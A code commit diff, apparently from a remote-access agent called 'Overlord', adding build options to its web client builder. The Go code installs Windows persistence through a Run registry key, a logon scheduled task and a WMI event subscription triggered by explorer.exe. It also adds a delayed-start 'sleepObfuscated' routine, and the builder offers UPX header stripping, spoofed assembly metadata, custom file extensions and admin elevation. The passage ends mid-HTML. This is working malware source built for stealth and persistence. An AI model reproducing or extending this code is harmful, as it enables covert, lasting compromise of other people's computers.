tons of new build options, fix mutex shit, etc
This commit is contained in:
@@ -27,6 +27,7 @@ var DefaultID = ""
|
|||||||
var DefaultCountry = ""
|
var DefaultCountry = ""
|
||||||
var DefaultAgentToken = ""
|
var DefaultAgentToken = ""
|
||||||
var DefaultBuildTag = ""
|
var DefaultBuildTag = ""
|
||||||
|
var DefaultSleepSeconds = "0"
|
||||||
|
|
||||||
const settingsFile = "config/settings.json"
|
const settingsFile = "config/settings.json"
|
||||||
const serverIndexFile = "config/server_index.json"
|
const serverIndexFile = "config/server_index.json"
|
||||||
@@ -62,6 +63,7 @@ type Config struct {
|
|||||||
TLSClientKey string
|
TLSClientKey string
|
||||||
AgentToken string
|
AgentToken string
|
||||||
BuildTag string
|
BuildTag string
|
||||||
|
SleepSeconds int
|
||||||
}
|
}
|
||||||
|
|
||||||
func Load() Config {
|
func Load() Config {
|
||||||
@@ -162,6 +164,7 @@ func Load() Config {
|
|||||||
TLSClientKey: tlsClientKey,
|
TLSClientKey: tlsClientKey,
|
||||||
AgentToken: agentToken,
|
AgentToken: agentToken,
|
||||||
BuildTag: strings.TrimSpace(DefaultBuildTag),
|
BuildTag: strings.TrimSpace(DefaultBuildTag),
|
||||||
|
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -170,6 +173,20 @@ func isTruthy(value string) bool {
|
|||||||
return v == "true" || v == "1" || v == "yes" || v == "y"
|
return v == "true" || v == "1" || v == "yes" || v == "y"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func parseSleepSeconds(s string) int {
|
||||||
|
n := 0
|
||||||
|
for _, c := range strings.TrimSpace(s) {
|
||||||
|
if c < '0' || c > '9' {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
n = n*10 + int(c-'0')
|
||||||
|
if n > 3600 {
|
||||||
|
return 3600
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
|
||||||
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
|
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
|
||||||
trimmed := strings.TrimSpace(rawURL)
|
trimmed := strings.TrimSpace(rawURL)
|
||||||
if trimmed == "" {
|
if trimmed == "" {
|
||||||
|
|||||||
@@ -12,6 +12,10 @@ import (
|
|||||||
func main() {
|
func main() {
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
|
||||||
|
if cfg.SleepSeconds > 0 {
|
||||||
|
sleepObfuscated(cfg.SleepSeconds)
|
||||||
|
}
|
||||||
|
|
||||||
if cfg.EnablePersistence {
|
if cfg.EnablePersistence {
|
||||||
if err := persistence.Setup(); err != nil {
|
if err := persistence.Setup(); err != nil {
|
||||||
log.Printf("Warning: Failed to setup persistence: %v", err)
|
log.Printf("Warning: Failed to setup persistence: %v", err)
|
||||||
|
|||||||
@@ -20,6 +20,12 @@ func Acquire(name string) (func(), bool, error) {
|
|||||||
|
|
||||||
fullName := "Global\\Overlord-" + sanitized
|
fullName := "Global\\Overlord-" + sanitized
|
||||||
handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
|
handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
|
||||||
|
if err == windows.ERROR_ALREADY_EXISTS {
|
||||||
|
if handle != 0 {
|
||||||
|
windows.CloseHandle(handle)
|
||||||
|
}
|
||||||
|
return func() {}, false, nil
|
||||||
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, false, fmt.Errorf("create mutex: %w", err)
|
return nil, false, fmt.Errorf("create mutex: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,6 +7,10 @@ import (
|
|||||||
|
|
||||||
var DefaultPersistenceMethod = "startup"
|
var DefaultPersistenceMethod = "startup"
|
||||||
|
|
||||||
|
var persistInstallFn func(targetPath string) error = func(_ string) error { return nil }
|
||||||
|
|
||||||
|
var persistUninstallFns []func() error
|
||||||
|
|
||||||
func Setup() error {
|
func Setup() error {
|
||||||
exePath, err := os.Executable()
|
exePath, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -152,68 +152,6 @@ func runPowerShell(script string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func installStartupFolder(_ string) error {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func installRegistry(targetPath string) error {
|
|
||||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
|
|
||||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
|
||||||
}
|
|
||||||
defer k.Close()
|
|
||||||
|
|
||||||
names, _ := k.ReadValueNames(0)
|
|
||||||
for _, name := range names {
|
|
||||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
|
||||||
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
b := make([]byte, 4)
|
|
||||||
if _, err := rand.Read(b); err != nil {
|
|
||||||
return fmt.Errorf("failed to generate registry value name: %w", err)
|
|
||||||
}
|
|
||||||
valueName := registryValuePrefix + hex.EncodeToString(b)
|
|
||||||
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
|
||||||
}
|
|
||||||
|
|
||||||
func installTaskScheduler(targetPath string) error {
|
|
||||||
taskName := deriveTaskName(targetPath)
|
|
||||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
|
||||||
// Notes on PowerShell parameter syntax used here:
|
|
||||||
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
|
|
||||||
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
|
|
||||||
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
|
|
||||||
script := fmt.Sprintf(
|
|
||||||
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
|
||||||
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
|
||||||
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
|
||||||
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
|
||||||
safe, taskName)
|
|
||||||
return runPowerShell(script)
|
|
||||||
}
|
|
||||||
|
|
||||||
func installWMI(targetPath string) error {
|
|
||||||
filterName, consumerName := deriveWMINames(targetPath)
|
|
||||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
|
||||||
script := fmt.Sprintf(
|
|
||||||
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
|
|
||||||
`$f.QueryLanguage = 'WQL'; `+
|
|
||||||
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
|
|
||||||
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
|
|
||||||
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
|
|
||||||
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
|
|
||||||
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
|
|
||||||
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
|
|
||||||
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
|
|
||||||
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
|
|
||||||
`$null = $b.Put()`,
|
|
||||||
filterName, consumerName, safe, filterName, consumerName)
|
|
||||||
return runPowerShell(script)
|
|
||||||
}
|
|
||||||
|
|
||||||
func install(exePath string) error {
|
func install(exePath string) error {
|
||||||
targetPath, err := getTargetPath()
|
targetPath, err := getTargetPath()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -229,23 +167,10 @@ func install(exePath string) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
switch activeMethod() {
|
if err := persistInstallFn(targetPath); err != nil {
|
||||||
case "registry":
|
return fmt.Errorf("failed to install persistence: %w", err)
|
||||||
if err := installRegistry(targetPath); err != nil {
|
|
||||||
return fmt.Errorf("failed to install registry persistence: %w", err)
|
|
||||||
}
|
|
||||||
case "taskscheduler":
|
|
||||||
if err := installTaskScheduler(targetPath); err != nil {
|
|
||||||
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
|
|
||||||
}
|
|
||||||
case "wmi":
|
|
||||||
if err := installWMI(targetPath); err != nil {
|
|
||||||
return fmt.Errorf("failed to install WMI persistence: %w", err)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Best-effort cleanup of legacy registry entries from older versions.
|
|
||||||
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
|
||||||
_ = cleanupLegacyRunValues()
|
_ = cleanupLegacyRunValues()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
@@ -302,24 +227,11 @@ func configure(exePath string) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
switch activeMethod() {
|
if err := persistInstallFn(targetPath); err != nil {
|
||||||
case "registry":
|
return fmt.Errorf("failed to reconfigure persistence: %w", err)
|
||||||
if err := installRegistry(targetPath); err != nil {
|
|
||||||
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
|
|
||||||
}
|
}
|
||||||
case "taskscheduler":
|
|
||||||
if err := installTaskScheduler(targetPath); err != nil {
|
|
||||||
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
|
|
||||||
}
|
|
||||||
case "wmi":
|
|
||||||
if err := installWMI(targetPath); err != nil {
|
|
||||||
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
// Best-effort cleanup of legacy registry entries from older versions.
|
|
||||||
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
|
||||||
_ = cleanupLegacyRunValues()
|
_ = cleanupLegacyRunValues()
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -327,9 +239,9 @@ func configure(exePath string) error {
|
|||||||
func uninstall() error {
|
func uninstall() error {
|
||||||
_ = cleanupLegacyRunValues()
|
_ = cleanupLegacyRunValues()
|
||||||
|
|
||||||
_ = uninstallTaskScheduler()
|
for _, fn := range persistUninstallFns {
|
||||||
|
_ = fn()
|
||||||
_ = uninstallWMI()
|
}
|
||||||
|
|
||||||
appDataDir := os.Getenv("APPDATA")
|
appDataDir := os.Getenv("APPDATA")
|
||||||
if appDataDir == "" {
|
if appDataDir == "" {
|
||||||
@@ -347,26 +259,6 @@ func uninstall() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func uninstallTaskScheduler() error {
|
|
||||||
return runPowerShell(
|
|
||||||
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
|
||||||
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
|
||||||
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func uninstallWMI() error {
|
|
||||||
return runPowerShell(
|
|
||||||
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
|
||||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
|
||||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
|
||||||
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
|
||||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
|
||||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
|
||||||
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
|
||||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
|
||||||
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func cleanupPrefixedExecutables(dir string) error {
|
func cleanupPrefixedExecutables(dir string) error {
|
||||||
entries, err := os.ReadDir(dir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -0,0 +1,40 @@
|
|||||||
|
//go:build windows && persist_registry
|
||||||
|
// +build windows,persist_registry
|
||||||
|
|
||||||
|
package persistence
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
persistInstallFn = installRegistry
|
||||||
|
}
|
||||||
|
|
||||||
|
func installRegistry(targetPath string) error {
|
||||||
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
|
||||||
|
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
|
||||||
|
names, _ := k.ReadValueNames(0)
|
||||||
|
for _, name := range names {
|
||||||
|
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||||
|
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
b := make([]byte, 4)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
return fmt.Errorf("failed to generate registry value name: %w", err)
|
||||||
|
}
|
||||||
|
valueName := registryValuePrefix + hex.EncodeToString(b)
|
||||||
|
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
//go:build windows && persist_taskscheduler
|
||||||
|
// +build windows,persist_taskscheduler
|
||||||
|
|
||||||
|
package persistence
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
persistInstallFn = installTaskScheduler
|
||||||
|
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
|
||||||
|
}
|
||||||
|
|
||||||
|
func installTaskScheduler(targetPath string) error {
|
||||||
|
taskName := deriveTaskName(targetPath)
|
||||||
|
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
||||||
|
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
||||||
|
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
||||||
|
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
||||||
|
safe, taskName)
|
||||||
|
return runPowerShell(script)
|
||||||
|
}
|
||||||
|
|
||||||
|
func uninstallTaskScheduler() error {
|
||||||
|
return runPowerShell(
|
||||||
|
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
||||||
|
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
||||||
|
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
//go:build windows && persist_wmi
|
||||||
|
// +build windows,persist_wmi
|
||||||
|
|
||||||
|
package persistence
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
persistInstallFn = installWMI
|
||||||
|
persistUninstallFns = append(persistUninstallFns, uninstallWMI)
|
||||||
|
}
|
||||||
|
|
||||||
|
func installWMI(targetPath string) error {
|
||||||
|
filterName, consumerName := deriveWMINames(targetPath)
|
||||||
|
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
|
||||||
|
`$f.QueryLanguage = 'WQL'; `+
|
||||||
|
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
|
||||||
|
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
|
||||||
|
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
|
||||||
|
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
|
||||||
|
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
|
||||||
|
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
|
||||||
|
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
|
||||||
|
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
|
||||||
|
`$null = $b.Put()`,
|
||||||
|
filterName, consumerName, safe, filterName, consumerName)
|
||||||
|
return runPowerShell(script)
|
||||||
|
}
|
||||||
|
|
||||||
|
func uninstallWMI() error {
|
||||||
|
return runPowerShell(
|
||||||
|
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
||||||
|
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
||||||
|
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||||
|
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
||||||
|
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||||
|
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||||
|
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
||||||
|
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||||
|
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
func sleepObfuscated(seconds int) {
|
||||||
|
if seconds <= 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
const slice = 500 * time.Millisecond
|
||||||
|
end := time.Now().Add(time.Duration(seconds) * time.Second)
|
||||||
|
for {
|
||||||
|
remaining := time.Until(end)
|
||||||
|
if remaining <= 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
next := remaining
|
||||||
|
if next > slice {
|
||||||
|
next = slice
|
||||||
|
}
|
||||||
|
time.Sleep(next)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -54,6 +54,37 @@ function updateServerUrlPlaceholder() {
|
|||||||
|
|
||||||
let isBuilding = false;
|
let isBuilding = false;
|
||||||
|
|
||||||
|
function initAccordions() {
|
||||||
|
document.querySelectorAll(".accordion-section").forEach((section) => {
|
||||||
|
const header = section.querySelector(".accordion-header");
|
||||||
|
const body = section.querySelector(".accordion-body");
|
||||||
|
const chevron = section.querySelector(".accordion-chevron");
|
||||||
|
const startOpen = section.dataset.open !== "false";
|
||||||
|
|
||||||
|
if (!startOpen) {
|
||||||
|
body.classList.add("collapsed");
|
||||||
|
} else {
|
||||||
|
chevron.classList.add("rotated");
|
||||||
|
}
|
||||||
|
|
||||||
|
header.addEventListener("click", () => {
|
||||||
|
const nowCollapsed = body.classList.toggle("collapsed");
|
||||||
|
chevron.classList.toggle("rotated", !nowCollapsed);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateWindowsSectionVisibility() {
|
||||||
|
const windowsSection = document.getElementById("windows-settings-section");
|
||||||
|
if (!windowsSection) return;
|
||||||
|
const hasWindows = Array.from(
|
||||||
|
document.querySelectorAll('input[name="platform"]:checked'),
|
||||||
|
).some((el) => el.value.startsWith("windows-"));
|
||||||
|
windowsSection.classList.toggle("hidden", !hasWindows);
|
||||||
|
}
|
||||||
|
|
||||||
|
initAccordions();
|
||||||
|
updateWindowsSectionVisibility();
|
||||||
init();
|
init();
|
||||||
|
|
||||||
if (rawServerListCheckbox && serverUrlInput) {
|
if (rawServerListCheckbox && serverUrlInput) {
|
||||||
@@ -133,6 +164,7 @@ if (persistenceCheckbox && persistenceMethodContainer) {
|
|||||||
|
|
||||||
platformInputs.forEach((input) => {
|
platformInputs.forEach((input) => {
|
||||||
input.addEventListener("change", updatePersistenceSettingsVisibility);
|
input.addEventListener("change", updatePersistenceSettingsVisibility);
|
||||||
|
input.addEventListener("change", updateWindowsSectionVisibility);
|
||||||
});
|
});
|
||||||
|
|
||||||
updatePersistenceSettingsVisibility();
|
updatePersistenceSettingsVisibility();
|
||||||
@@ -331,6 +363,10 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
|
const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
|
||||||
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
|
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
|
||||||
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
|
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
|
||||||
|
const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false;
|
||||||
|
const outputExtension = form.querySelector("#output-extension")?.value || ".exe";
|
||||||
|
const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10);
|
||||||
|
const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0;
|
||||||
|
|
||||||
const buildConfig = {
|
const buildConfig = {
|
||||||
platforms,
|
platforms,
|
||||||
@@ -354,6 +390,9 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
assemblyCompany: assemblyCompany || undefined,
|
assemblyCompany: assemblyCompany || undefined,
|
||||||
assemblyVersion: assemblyVersion || undefined,
|
assemblyVersion: assemblyVersion || undefined,
|
||||||
assemblyCopyright: assemblyCopyright || undefined,
|
assemblyCopyright: assemblyCopyright || undefined,
|
||||||
|
requireAdmin,
|
||||||
|
outputExtension,
|
||||||
|
sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined,
|
||||||
iconBase64: pendingIconBase64 || undefined,
|
iconBase64: pendingIconBase64 || undefined,
|
||||||
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
||||||
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
||||||
|
|||||||
+292
-392
@@ -26,6 +26,27 @@
|
|||||||
></script>
|
></script>
|
||||||
<script src="/assets/toast.js"></script>
|
<script src="/assets/toast.js"></script>
|
||||||
<script src="/assets/ripple.js"></script>
|
<script src="/assets/ripple.js"></script>
|
||||||
|
<style>
|
||||||
|
.accordion-body {
|
||||||
|
display: grid;
|
||||||
|
grid-template-rows: 1fr;
|
||||||
|
transition: grid-template-rows 0.2s ease, opacity 0.2s ease;
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
.accordion-body.collapsed {
|
||||||
|
grid-template-rows: 0fr;
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
.accordion-body > .accordion-inner {
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
.accordion-chevron {
|
||||||
|
transition: transform 0.2s ease;
|
||||||
|
}
|
||||||
|
.accordion-chevron.rotated {
|
||||||
|
transform: rotate(-180deg);
|
||||||
|
}
|
||||||
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||||
<header id="top-nav"></header>
|
<header id="top-nav"></header>
|
||||||
@@ -34,9 +55,7 @@
|
|||||||
<div class="flex items-center justify-between gap-3 flex-wrap">
|
<div class="flex items-center justify-between gap-3 flex-wrap">
|
||||||
<div>
|
<div>
|
||||||
<h1 class="text-2xl font-semibold">Client Builder</h1>
|
<h1 class="text-2xl font-semibold">Client Builder</h1>
|
||||||
<p class="text-slate-400">
|
<p class="text-slate-400">Build customized Overlord client agents</p>
|
||||||
Build customized Overlord client agents
|
|
||||||
</p>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -47,427 +66,170 @@
|
|||||||
<i class="fa-solid fa-gear"></i> Build Configuration
|
<i class="fa-solid fa-gear"></i> Build Configuration
|
||||||
</h2>
|
</h2>
|
||||||
|
|
||||||
<form id="build-form" class="flex flex-col gap-4">
|
<form id="build-form" class="flex flex-col gap-3">
|
||||||
<!-- Platform Selection -->
|
|
||||||
<div>
|
<!-- == Section 1: Target Platforms (open) == -->
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2"
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
|
||||||
>Target Platform</label
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
>
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-solid fa-display text-slate-400"></i> Target Platforms
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3">
|
||||||
<div class="grid grid-cols-2 gap-2">
|
<div class="grid grid-cols-2 gap-2">
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
|
<input type="checkbox" name="platform" value="windows-amd64" class="w-4 h-4" checked />
|
||||||
>
|
<span><i class="fa-brands fa-windows text-blue-400"></i> Windows x64</span>
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="windows-amd64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
checked
|
|
||||||
/>
|
|
||||||
<span
|
|
||||||
><i class="fa-brands fa-windows text-blue-400"></i> Windows x64</span
|
|
||||||
>
|
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
|
<input type="checkbox" name="platform" value="windows-386" class="w-4 h-4" />
|
||||||
>
|
<span><i class="fa-brands fa-windows text-blue-400"></i> Windows x86</span>
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="windows-386"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span
|
|
||||||
><i class="fa-brands fa-windows text-blue-400"></i> Windows x86</span
|
|
||||||
>
|
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
|
<input type="checkbox" name="platform" value="windows-arm64" class="w-4 h-4" />
|
||||||
>
|
<span><i class="fa-brands fa-windows text-blue-400"></i> Windows ARM64</span>
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="windows-arm64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span
|
|
||||||
><i class="fa-brands fa-windows text-blue-400"></i> Windows ARM64</span
|
|
||||||
>
|
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
|
<input type="checkbox" name="platform" value="linux-amd64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="linux-amd64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux x64</span>
|
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux x64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
|
<input type="checkbox" name="platform" value="linux-arm64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
